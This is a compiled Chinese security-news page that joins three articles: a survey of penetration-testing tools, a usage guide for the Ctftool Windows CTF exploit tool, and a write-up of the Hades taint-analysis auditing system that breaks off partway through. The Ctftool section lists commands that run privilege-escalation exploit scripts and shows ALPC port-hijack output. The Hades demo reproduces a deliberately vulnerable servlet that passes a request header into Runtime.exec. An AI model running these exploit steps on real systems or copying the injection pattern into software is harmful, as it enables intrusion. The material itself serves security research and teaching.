渗透测试专业人员使用的11种工具

渗透测试是模拟一种网络攻击,在真正的黑客入侵之前,模拟黑客入侵企业网络来发现薄弱之处。就像电影《Sneakers》一样,黑客顾问闯入公司网络以发现网络的弱点。其中,渗透测试人员或白帽都使用了黑客可用的工具和技术。

回到过去的旧时代,黑客入侵是一件非常困难的事,并且需要大量的手动操作。然而如今,一整套的自动化测试工具似乎改造了黑客,他们甚至可以增强计算机的性能,进行比以往更多的测试。

工欲善其事,必先利其器。既然如今已经有了更为便捷、快速的渗透测试工具,这对现代渗透测试工作者无疑是有很大的帮助的。以下列出了他们使用的一些工具。

渗透测试专业人员使用的11种工具

一、Kali Linux

Kali是基本的渗透测试操作系统,为大多数人采用,除非是掌握尖端知识或有特殊情况。Kali以前称为BackTrack Linux,由Offensive Security(OffSec,进行OSCP认证)的优秀人员维护,如今在各种方面都进行了优化,可以用作渗透测试员的攻击工具。

虽然可以在自己的硬件上运行Kali,但渗透测试人员在OS X或Windows上使用Kali虚拟机的情况也十分普遍。Kali附带了此处提到的大多数工具,并且是大多数人默认的渗透测试操作系统。不过值得注意的是,Kali优化了进攻而非防御,因此很容易被反过来利用。不要将过多的机密文件保留在Kali VM中。

渗透测试专业人员使用的11种工具

二、Nmap

nmap是网络扫描仪的缩写,它的延伸是端口扫描仪。作为一种经过实践检验的渗透测试工具,几乎所有人都可以使用。哪些端口是开放的?这些端口上正在运行什么?对于侦察阶段的渗透测试人员来说,这是必不可少的信息,而nmap通常是完成该任务的最佳工具。

尽管非技术性高管人员偶尔会抱怨在端口扫描企业,但nmap本身是完全合法的,就像是敲附近每个人的家门来查看是否有人在家。许多合法的组织,例如保险公司,Shodan和Censys 这样的互联网搜索引擎以及BitSight这样的风险评级企业,都使用专门的端口扫描软件(通常是nmap竞争对手masscan或zmap)定期扫描整个IPv4范围,以绘制整个企业大大小小的公共安全态势。话虽如此,那些恶意攻击者也会进行端口扫描,因此需要进行日志记录以备将来参考。

三、Metasploit

当您可以利用Metasploit时,为什么还受到漏洞的困扰?这个软件就像是一把弓箭:瞄准目标,选择漏洞,选择有效载荷,然后发射。对于大多数渗透测试者来说不可或缺,metasploit可以自动进行大量以前繁琐的工作,它是“世界上使用最广泛的渗透测试框架”。一个由Rapid7提供商业支持的开源项目,Metasploit是防御者确保其系统免受攻击的必要工具。

四、Wireshark

Wireshark是一种无处不在的工具,可用于了解跨网络传输的流量。虽然通常用于深入研究日常的TCP / IP连接问题,但Wireshark支持对数百种协议进行分析,包括对其中许多协议的实时分析和解密支持。如果您是渗透测试的新手,Wireshark是一个必须学习的工具。

五、John the Ripper

这里的John不是维多利亚时代的伦敦连环杀人凶手,但是却会以您的GPU运作速度破解密码。该密码破解程序是开源的,用于离线密码破解。John利用可能的密码单词列表,然后“@”代替“a”,以“5”代替“s”,以此类推地进行转换,或者它可以用强大的硬件无限运行直到找到密码为止。考虑到绝大多数人使用的是简单的短密码,John经常可以成功破解密码。

渗透测试专业人员使用的11种工具

六、Hashcat

 “世界上最快、最先进的密码恢复实用程序”,以此来描述Hashcat或许并不为过,Hashcat使用者对其价值自然也是心知肚明。Hashcat可与John the Ripper一较高下。它是破解哈希的首选渗透测试工具,并且hashcat支持多种猜测密码的蛮力攻击,包括字典和掩码攻击。

渗透测试通常会涉及哈希密码的泄露,利用这些凭证可以将像hashcat这样的程序脱机,至少希望猜出或强行使用其中一些密码。

Hashcat在现代GPU上运行最好。传统的hashcat仍支持CPU上的哈希破解,但是要提醒用户的是,这比显卡的处理能力要慢得多。

七、Hydra

Hydra 是John the Ripper的同类工具,可用于在线破解密码(例如SSH或FTP登录、IMAP、IRC、RDP等)。将Hydra用于指定的破解服务,有必要的话可以输入单词列表,然后开始破解。诸如Hydra之类的工具提醒人们,在一系列登录尝试之后,限制密码和断开用户连接是可以成功抵御攻击的。

渗透测试专业人员使用的11种工具

八、Burp Suite

如果不提及Web漏洞扫描程序Burp Suite,对渗透测试工具的讨论就是不完整的,而Burp Suite不同于到目前为止提到的其他工具,它是付费的,是一款专业人员常用的昂贵的工具。虽然有一个Burp Suite社区版,但它缺少许多功能,并且Burp Suite企业版的价格为每年3999美元。

不过,对得起这个价格的理由在于,Burp Suite是一个非常有效的Web漏洞扫描程序。将其用于要测试的网络资产,准备就绪后即可运行。Burp的竞争对手Nessus也提供了类似功能的产品,当然价格也差不多。

九、Zed Attack Proxy

那些没有买Burp Suite的人会发现OWASP的Zed Attack Proxy(ZAP)几乎一样有效,它是完全免费的工具。顾名思义,ZAP置于浏览器和测试网站之间(又名中间人),允许拦截流量进行检查和修改。它缺少Burp的许多细节,但是它的开放源代码许可证更容易进行大规模的部署,同时也更便宜。对于初学者来说,它是一款很好地了解网络流量脆弱性的工具。ZAP竞争对手Nikto也提供了类似的开源工具。

十、sqlmap

大家应该都听过SQL注入?接下来要介绍的是sqlmap。这个非常有效的SQL注入工具是开源的,可以“自动执行检测、利用SQL注入漏洞并接管数据库服务器的过程”。Sqlmap的支对象包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、HSQLDB和H2。过去的人们曾经不得不用Hot Needle将SQL注入到硬盘上。而如今sqlmap则无需如此,便捷程度在您的日常工作中脱颖而出。

十一、Aircrack-ng

想检测客户的wifi或家庭wifi的安全性如何?用aircrack-ng即可。这个wifi安全审核工具是免费的,但是用户可以购买自己的Pringles“天线”。如今,由于配置不佳、密码错误或加密协议过时等问题,可能会破坏wifi。不管有没有Pringles的“天线”,Aircrack-ng仍是许多人的首选。

*参考来源:csoonline,Sandra1432编译,转载请注明来自FreeBuf.COM

本文来源于互联网:渗透测试专业人员使用的11种工具

Ctftool:一款功能强大的交互式CTF漏洞利用工具

Ctftool:一款功能强大的交互式CTF漏洞利用工具

Ctftool是一款交互式的命令行工具,可以帮助安全研究人员对CTF(Windows平台下用于实现文本服务的协议)进行安全测试。在Ctftool的帮助下,安全研究人员可以轻松对Windows内部运行和调试文本输入处理器的复杂问题进行分析,并检测目标Windows系统的安全性。

除此之外,Ctftool还允许研究人员根据自己的需要来编写一些简单的脚本来实现与CTF客户端或服务器端的自动化交互,以及执行简单的模糊测试任务。

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/taviso/ctftool.git

项目构建

注意:如果你不想自己构建项目源码的话,你可以直接访问该项目的Release页面来下载编译好的版本。

我们使用了GNU make和Visual Studio 2019来开发Ctftool,目前该项目仅支持32位版本,但是该工具支持在Windows x86和x64平台上运行。

安装好所有的依赖组件之后,直接在开发者命令行终端中输入“make”命令即可完成项目构建。

这里,我使用的构建工具是一个变种版本的Visual Studio,构建时我只选择了MSVC、MSBuild、CMake和SDK。

这个项目使用了子模块来处理部分依赖,你可以使用下列命令来获取所需的依赖代码:

git submodule update --init --recursive

工具使用

Ctftool目前已在Windows 7、Windows 8和Windows 10上进行了测试,并且支持32位和64位版本。

广大演技人员可以使用“help”命令来查看该工具支持的命令列表,或者输入“help <command>”来查看具体命令的使用方式:

$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
gadget          - Find the offset of a pattern in a file.
section         - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>

拿到工具之后,我们首先要做的就是建立会话链接,并且查看已连接的客户端:

ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF server@BaseNamedObjectsmsctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

接下来,我们就可以通过向服务器端发送或接受命令,来对已连接的客户端进行测试。

漏洞利用

该工具可以用来扫描和发现CTF协议中许多严重的安全问题,如果你想在Windows 10 x64 1903上运行该工具并测试漏洞,可以直接双击运行ctftool.exe,并运行下列命令:

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf

实际上,漏洞利用代码会分为两个阶段运行,因此我们也可以单独执行这两个阶段的代码。比如说,你可能想要入侵的进程属于不同会话上的同一个用户,此时可以使用connect命令的可选参数。

接下来,你可以建立一条会话链接,选择一个需要入侵的客户端,然后运行下列命令:

ctf> script .scriptsctf-exploit-common-win10.ctf

监控劫持

由于CTF协议中的客户端跟服务器端之间不需要身份认证,那么如果攻击者有权限写入BaseNamedObjects的话,他就可以创建CTF ALPC端口,并伪装成监控器。

此时,攻击者将能够绕过监视器以及所有限制来执行任何操作。

使用“hijack”命令即可实现:

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

跨会话攻击

在CTF协议中,不存在会话隔离,任何进程都可以跟任意CTF服务器进行连接。Ctftool工具中的“connect”命令支持连接至非默认会话:

An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.

Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.

If a connection is already open, the existing connection is closed first.

If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
 Connect to the monitor for current desktop
  ctf> connect
 Connect to a specific desktop and session.
  ctf> connect Default 1
Most commands require a connection, see "help connect".

项目地址

Ctftool:【GitHub传送门

参考资料

1、https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html

* 参考来源:taviso,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Ctftool:一款功能强大的交互式CTF漏洞利用工具

Hades开源白盒审计系统V1.0.0

一、引言

为什么要开发这么一个白盒审计系统呢?其实,自己开发白盒审计系统的想法已经在我的脑海中存在很久了。一方面,之前大学毕业之后在白盒方面花了挺多时间的,不过由于各方面原因,一直没有特别突出的进展,之后又转做木马病毒方面的攻防研究,白盒的方面的研究搁置了很久,心里一直耿耿于怀。另一方面,最近在做一个安卓相关的项目,项目中自己实现了一套针对smali字节码的虚拟解释执行引擎,然后就突发一个想法,android也是使用java进行开发的,那么能不能直接复用这套虚拟解释执行引擎来对java源码进行分析呢?

经过调研,发现java字节码可以通过安卓sdk中的dx.jar转为smali字节码。这样一来,实现java白盒的代价就小了很多。虽然现在并不是在做白盒相关的工作,但是还是希望凭借自己对语言的理解,以及编码能力,自己构造出一个像样的白盒审计系统,所以便有了Hades这个白盒审计系统的项目。而之所以开源这套系统,也是希望能够吸引更多对白盒引擎开发感兴趣的人才加入到这个项目当中,一起维护这个项目。

Hades开源白盒审计系统V1.0.0

二、整体架构设计

1、前端方面

前端采用easyUI编写,本来打算使用vue的,不过vue方面还不是特别的熟悉,考虑到解决bug来可能会比较耗时,所以采用比较简单的easyUI来编写前端。

先展示下前端效果。(应该不是很违和)

Hades开源白盒审计系统V1.0.0

报告展示页面

Hades开源白盒审计系统V1.0.0

Hades开源白盒审计系统V1.0.0

2、后端方面

后端使用django实现文件接收接口,并对文件类型和合法性进行校验,通过redis消息队列将任务消息发布到消息队列中,传递给后端引擎。

3、底层引擎方面

通过redis消息队列接收到任务信息,新建一个任务线程对上传的文件进行分析。针对源码的处理是,如果是maven管理的项目则使用mvn compile进行编译。如果是普通的java项目的话则使用javac进行单文件编译(考虑到整体编译的话会造成编译失败,遗失字节码文件)。然后,将最终得到的java字节码文件转为smali字节码文件(为什么要转为smali字节码文件呢?后面会进行说明),最后将最终的字节码文件作为输入传递给主引擎程序进行执行分析。

4、软件整体的执行流程示意图如下

Hades开源白盒审计系统V1.0.0

三、smali字节码简介

因为本白盒程序主要基于smali文件进行分析的,所以这里我先简要介绍下smali字节码。而纯粹讲smali字节码,可能不太好理解。所以,我先讲下程序的编译过程。程序的编译一般需要经过六个过程,即: 词法分析、语法分析、语义分析、中间代码生成、代码优化、目标代码生成。下面简要说明下这六个过程的各自的工作。词法分析,主要是对输入的源码文件中的字符从左到右逐个进行分析,输出与源代码等价的token流。语法分析,主要是基于输入的token流,根据语言的语法规则,做一些上下文无关的语法检查,语法分析结束之后,生成AST语法树。语义分析,主要是将AST语法树作为输入,并基于AST语法树做一些上下文相关的类型检查。语义分析结束后,生成中间代码,而此时的中间代码,是一种易于转为目标代码的一种中间表示形式。代码优化,则是针对中间代码进行进一步的优化处理,合并其中的一些冗余代码,生成等价的新的中间表示形式,最后生成目标代码。这针对DVM而已,这里的最终生成的代码即smali字节码,smali字节码也是DVM的解释执行的底层汇编代码。

Hades开源白盒审计系统V1.0.0

那么,我为什么要选择smali作为分析java程序的目标代码呢?引言中已经提到了,一方面,最近在做一个android相关的项目,项目中已经实现了smali层面的污点跟踪引擎,如果能够直接复用之前写的这套污点分析代码,那岂不是很爽,不用继续造轮子了。另一方面,相较java字节码来说,smali字节码更加的简单,因为smali字节码是一种基于寄存器的指令系统,它的指令是二地址和三地址混合的,指令中指明了操作数的地址。而JVM是基于栈的虚拟机,JVM将本地变量放到一个本地变量列表中,在进行指令解释的时候,将变量push到操作数栈中,由操作码对应的解释函数来进行解释执行。所以,java字节码操作无疑会比smali字节码更复杂一些,复杂主要体现在后续的堆栈设计以及代码解释执行。

四、白盒引擎实现详细说明

下面我分六个部分,详细说明下我的白盒引擎实现思路。

0×1 指令控制流图构造

要实现指令控制流图的构造,首先我们需要对目标函数的字节码信息进行切片处理,解析出一个个的指令代码块,然后将各个指令代码块进行依赖分析,并保存为图的形式。但是总不至于针对每一个函数都构造指令控制流图吧,这样太费时,而且有些函数,程序在执行过程中不一定会调用到的,那么我们构建它又有什么意义呢?。我们知道,每一个程序都会有一个入口函数,比如java程序中的main函数,或者一些涉及网络请求映射处理的函数,比如servlet中的doPost,doGet等。只要从这些入口点进行指令控制流图的构建,就可以尽可能的覆盖程序执行过程中可能走过的路线。

Hades构造的指令控制流图大致效果图:

Hades开源白盒审计系统V1.0.0

局部放大版:

Hades开源白盒审计系统V1.0.0

0×2 通路计算

构建好了指令控制流图之后,我们先别急着对代码进行解释执行分析,到这一步还无法进污点分析。我们可以先设想一下,如果我们每一条路线,每个指令都解释执行一遍,那肯定是十分耗时的,所以考虑到执行效率方面,Hades会先找到sink点和source点各自所处的代码块节点,通过图的查询算法,查询两个节点(代码块节点)之间的通路(这个通路可能不止一条),然后将这条通路中的所有代码块合并在一起,重新组成一段线性的代码块,最后对这段代码块记性解释执行。其他更高级的减少分析成本的方案暂时还没想出来,或许你们可以给我提些建议。

0×3 解释执行

在讲解释执行之前,我先简要说明下虚拟解释器的原理。虚拟解释器并不是真正的解释器,但是它应该具备解释器的主要功能,即对字节码指令进行解释,对堆栈进行存取处理。而如果我们希望在解释执行的时候能够收集到污点的一些传递情况,那么单纯的进行解释执行肯定是不够的,我们还需要在指令解释执行的基础上,增加污点的传播分析。那么,如何实现污点的传播分析呢?这是我们需要着重考虑的点。我们知道,传统的解释器,在解释执行的程序的时候,需要根据用户传入的参数,进行一些值的处理的。而与传统解释器不同的是,我们的虚拟执行引擎并不是真正的执行起来,也不需要让程序真正的执行起来,我们解释执行的目的不是为了对传入的值进行处理,而是分析传入的值的走势(即数据是怎么流动的),我们关注的是它怎么走的,这个点。所以,我们会把用户传入的参数认定为污点,而相应的获取用户输入参数的函数的返回值所存储的寄存器便会被我们标记为污点,这个函数是整个污点分析的起点,而这个污点寄存器则是这个污点网络主干路线上的第一个污点。

我们在通过对函数引用进行解释之后,获得了污点网络中的第一个污点信息,那么现在我们来思考下接下来污点是如何分析的呢?其实我们知道,污点的传播无非是几个方式,一种是通过赋值的指令进行传递,第二种是通过数组操作指令将污点传递给了数组成员,第三种是通过函数调用,将污点传递给了函数执行结束的返回值(这里是寄存器)。所以我们只需要注重对这些赋值操作进行解释执行即可实现对污点的跟踪分析。

Hades解释执行的指令:

"invoke-virtual":self.handle_invoke,            
"invoke-virtual/range": self.handle_invoke, 
"invoke-static": self.handle_invoke, 
"invoke-direct": self.handle_invoke, 
"invoke-super": self.handle_invoke_super, 
"invoke-static/range": self.handle_invoke, 
"invoke-interface": self.handle_invoke, 
"invoke-interface-range": self.handle_invoke, 
"invoke-super/range": self.handle_invoke_super, 
"invoke-direct/range": self.handle_invoke, 
"move-result-object": self.handle_move_result, 
"move-result": self.handle_move_result, 
"move-result-wide": self.handle_move_result, 
"move-exception": self.handle_move_result, 
"move-object": self.handle_move, 
"move-object/from16":self.handle_move, 
"move-object/16":self.handle_move, 
"move-wide": self.handle_move, 
"move-wide/from16": self.handle_move, 
"move-wide/16": self.handle_move, 
"move": self.handle_move, 
"move/from16": self.handle_move, 
"move/16": self.handle_move, 
"const-string": self.handle_const, 
"const-string-jumbo": self.handle_const, 
"const": self.handle_const, 
"const/4":self.handle_const, 
"const/8":self.handle_const, 
"const/16":self.handle_const, 
"const/high16":self.handle_const, 
"const-wide/16":self.handle_const, 
"const-wide/32":self.handle_const, 
"const-wide":self.handle_const, 
"const-wide/high16":self.handle_const,
"const-class": self.handle_const, 
"goto":self.handle_goto, 
"goto/16":self.handle_goto, 
"goto/32":self.handle_goto, 
".registers":self.handle_registers, 
".line":self.handle_line, 
"check-cast":self.default, 
"if-eqz":self.default, 
"default":self.default, 
"return":self.handle_return, 
"return-object":self.handle_return, 
"return-void":self.handle_return, 
"return-wide":self.handle_return, 
"new-array": self.handle_array_create, 
"aput-object": self.handle_aput,
"aget-object": self.handle_aget, 
"aget-wide": self.handle_aget, 
"aput-wide": self.handle_aput, 
"aget-boolean": self.handle_aget, 
"aput-boolean": self.handle_aput, 
"aget-byte": self.handle_aget, 
"aput-byte": self.handle_aput, 
"aget-char": self.handle_aget, 
"aput-char": self.handle_aput, 
"aget-short": self.handle_aget, 
"aput-short": self.handle_aput, 
"iput-object": self.handle_aput, 
"iget-object": self.handle_aget, 
"iget-wide": self.handle_aget, 
"iput-wide": self.handle_aput, 
"iget-boolean": self.handle_aget, 
"iput-boolean": self.handle_aput, 
"iget-byte": self.handle_aget, 
"iput-byte": self.handle_aput, 
"iget-char": self.handle_aget, 
"iput-char": self.handle_aput, 
"iget-short": self.handle_aget, 
"iput-short": self.handle_aput, 
"sput-object": self.default, 
"sget-object": self.default, 
"sget-wide": self.default, 
"sput-wide": self.default, 
"sget-boolean": self.default, 
"sput-boolean": self.default, 
"sget-byte": self.default, 
"sput-byte": self.default, 
"sget-char": self.default, 
"sput-char": self.default, 
"sget-short": self.default,
"sput-short": self.default, 
"new-instance": self.default, 
"packed-switch": self.default, 
"sparse-switch": self.default,

其中,default表示该指令目前Hades暂不解释,但在之后的版本中,可能会考虑对其进行解释。

0×4 内存模拟

1、寄存器

现在我们知道了污点追踪分析的方法,但是仅仅对指令进行解释执行是不够的,因为指令在解释执行的时候是需要操作寄存器和内存的,如果没有内存的介入,那么指令解释毫无意义,所以,我们还需要设计一个用于污点分析的内存结构。Hades的内存结构主要包括三个部分,分别是,污点寄存器,污点栈及污点堆部分。污点寄存器,包含属性如下:

Name,value,isTained,分别对应对应寄存器名,寄存器值,及污点属性。之前说了,Hades的虚拟执行系统不需要值的介入,这里为什么还要有一个value呢?这里,虽然Hades不care值的处理,但是,为了能够准确的定位到数组索引,处理数组操作相关的污点传播问题,还是需要对这部分的值进行保存的。

2、污点栈

为什么程序没有真正执行起来,还需要有栈结构呢?这里,设计污点栈的目的是为了污点的保存。在函数间污点分析的过程中,我们在跟入分析一个被调用的函数的时候,也需要对当前函数的污点现场进行保存,以便在在分析完被调用函数回来之后,能够恢复到原来的污点现场继续向下进行污点分析,所以一个合理的栈结构的设计是十分必要的。下面是Hades污点栈结构示意图:

                             +- – – – – – – – – –+

                             –         out0         –

                             +——————-+  <– stack pointer

                             +           …          +

                             +——————-+  <– frame pointer:for func1

                           +  v0 == local0  +

+—————–+  +——————-+

+  out0           +  +  v1 == in0      +

+—————–+  +——————-+

+  out1           +  +  v2 == in1      +

+—————–+  +——————-+

+         …        +

+—————–+  <— frame pointer:for oncreate

+  v0 == local0+

+—————–+

+  v1 == local1+

+—————–+

+  v2 == in0   +

+—————–+

+  v3 == in1   +

+—————–+

+  v4 == in2   +

+—————–+

–                      –

–                      –

–                      –

+—————–+  <– 栈起始位置

Hades污点栈结构设计参考了DVM的的栈设计方案,有点类似’寄存器窗口’,这也是dvm解释器栈的一个特色,当然这只是大概的示意图,具体的栈结构和栈帧结构在上图的结构的基础上做了一些更加适配污点跟踪分析的设计,在此就不给出了。下面解释下栈帧顶部的out区域和in区域的作用,这里out和int区域的设计主要是为了函数间参数的传递,虽然我们不需要真实参数值/对象的传递,但是我们需要获取上一个函数传入的参数的污点属性。为了获取上一个函数中的污点属性,需要在上一个函数执行到函数调用的时候,将参数push到当前栈帧的顶部out区域,然后参数由out区域传入到in区域,当执行到调用的函数的时候,程序从栈帧的底部in区域获取到参数信息(包含了污点属性的参数信息,以及一些必要的值信息)。依据此污点栈设计,我们就可以对函数间的污点传播进行跟踪分析。

3、堆部分

Hades中的堆的设计并不是很多,也不是很完善,目前主要用来存放数组信息,用于处理数组成员的污点追踪操作。

0×5 污点追踪

污点追踪是整个系统最重要的环节,前面的设计也是为了该部分服务。Hades的污点传播方式分为栈帧型污点传播,和指令型污点传播。指令型污点传播,顾名思义,就是通过解释执行字节码指令来进行污点传播的,在上面我们也提过,那么什么是栈帧型污点传播呢?在进行一个新函数的污点分析之前,Hades会为新函数分配一个污点栈帧,在这个污点栈帧中会为新函数分配好指令解释执行过程中需要的所有虚拟寄存器,以满足指令解释执行的需要。(smali是一种基于寄存器操作的字节码,值的操作都是基于虚拟寄存器的,不像c及java等语言字节码,有大量值的存取操作)新栈帧中一部分寄存器来自函数的入参,入参来自上一个栈帧的输出区域。在上一个函数发生函数调用的时候,Hades会将函数的传入参数(包含寄存器中的污点信息,值信息)保存在上一个函数栈帧的输出区域中,在解释执行新函数的之前,旧栈帧会对新栈帧进行一个污点的传递,将污点信息传递到新函数的入参中,这样就完成了函数间的污点传递,即栈帧与栈帧之间的污点传播。

0×6 污点净化部分

Hades之初并不将净化函数加入到污点分析过程中,主要的考虑到没有一个第三方安全厂商能够百分百保证他们的安全sdk中的净化函数不存在被绕过的风险。但是实际攻击过程中,必要的防护代码确实能够防住绝大部分的攻击测试。后续,Hades方面将会逐步增加净化函数方面规则的支持。

五、规则配置部分

Hades的规则配置部分以下几个部分:

1、 sink点规则配置。

2、 source点规则配置。

3、 clean点配置。

4、 程序入口点规则配置。

规则方面,由于都是字节码形式的规则,手动收集的话会比较麻烦,所以我额外开发了一个规则生成器,在utils包中,只要输入函数名及所属的jar包的路径,即可生成相应的函数调用形式。

六、用到的第三方工具

以下是Hades用到的第三方工具:

1、dx.jar

来自androidSDK,用于将java字节码转为smali字节码。

2、baksmali.jar

用于将dex文件反编译为smali。

七、Demo测试

这里我们以Benchmark的靶场作为测试的示例程序。

1、测试1 命令执行漏洞

本测试单元,对应benchmark中的第17个靶场。

benchmark靶场项目地址:https://github.com/OWASP/Benchmark

代码:

/**

* OWASP Benchmark v1.2

*

* This file is part of the Open Web Application Security Project (OWASP)

package org.owasp.benchmark.testcode;

import java.io.IOException;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

@WebServlet(value="/cmdi-00/BenchmarkTest00017")

public class BenchmarkTest00017 extends HttpServlet {

private static final long serialVersionUID = 1L;

@Override

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

doPost(request, response);

}

@Override

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// some code

response.setContentType("text/html;charset=UTF-8");

String param = "";

java.util.Enumeration<String> headers = request.getHeaders("BenchmarkTest00017");

if (headers != null && headers.hasMoreElements()) {

param = headers.nextElement(); // just grab first element

}

// URL Decode the header value since req.getHeaders() doesn't. Unlike req.getParameters().

param = java.net.URLDecoder.decode(param, "UTF-8");

String cmd = "";

String osName = System.getProperty("os.name");

if (osName.indexOf("Windows") != -1) {

cmd = org.owasp.benchmark.helpers.Utils.getOSCommandString("echo");

}

Runtime r = Runtime.getRuntime();

try {

Process p = r.exec(cmd + param);

org.owasp.benchmark.helpers.Utils.printOSCommandResults(p, response);

} catch (IOException e) {

System.out.println("Problem executing cmdi - TestCase");

response.getWriter().println(

org.owasp.esapi.ESAPI.encoder().encodeForHTML(e.getMessage())

);

return;

}

}

这里简要的分析一下程序:

后端程序通过request.getheader函数获取客户端网络请求的头部信息,并从中读取第一个element信息作为参数进入到命令执行函数中,这就构成了一个命令执行漏洞。

下面是污点传递的示意图

Hades开源白盒审计系统V1.0.0

好,下面我们使用Hades来对该程序进行检测。

以下是Hades生成的smali字节码

.classpublic Lorg/owasp/benchmark/testcode/BenchmarkTest00017;

.superLjavax/servlet/http/HttpServlet;

.source"BenchmarkTest00017.java"

#annotations

.annotationruntime Ljavax/servlet/annotation/WebServlet;

    value = {

        "/cmdi-00/BenchmarkTest00017"

    }

.endannotation

# staticfields

.fieldprivate static final serialVersionUID:J = 0x1L

# directmethods

.methodpublic constructor <init>()V

    .registers 1

    .prologue

    .line 30

    invoke-direct {p0},Ljavax/servlet/http/HttpServlet;-><init>()V

    return-void

.endmethod

# virtualmethods

.method public doGet(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

    .registers 3

    .param p1, "request"    # Ljavax/servlet/http/HttpServletRequest;

    .param p2, "response"    # Ljavax/servlet/http/HttpServletResponse;

    .annotation systemLdalvik/annotation/Throws;

        value = {

            Ljavax/servlet/ServletException;,

            Ljava/io/IOException;

        }

    .end annotation

    .prologue

    .line 36

    invoke-virtual {p0, p1, p2},Lorg/owasp/benchmark/testcode/BenchmarkTest00017;->doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

    .line 37

    return-void

.endmethod

.method public doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

    .registers 13

    .param p1, "request"    # Ljavax/servlet/http/HttpServletRequest;

    .param p2, "response"    # Ljavax/servlet/http/HttpServletResponse;

    .annotation system Ldalvik/annotation/Throws;

        value = {

            Ljavax/servlet/ServletException;,

            Ljava/io/IOException;

        }

    .end annotation

    .prologue

    .line 42

    const-string v7,"text/html;charset=UTF-8"

    invoke-interface {p2, v7},Ljavax/servlet/http/HttpServletResponse;->setContentType(Ljava/lang/String;)V

    .line 45

    const-string v5, ""

    .line 46

    .local v5,"param":Ljava/lang/String;

    const-string v7,"BenchmarkTest00017"

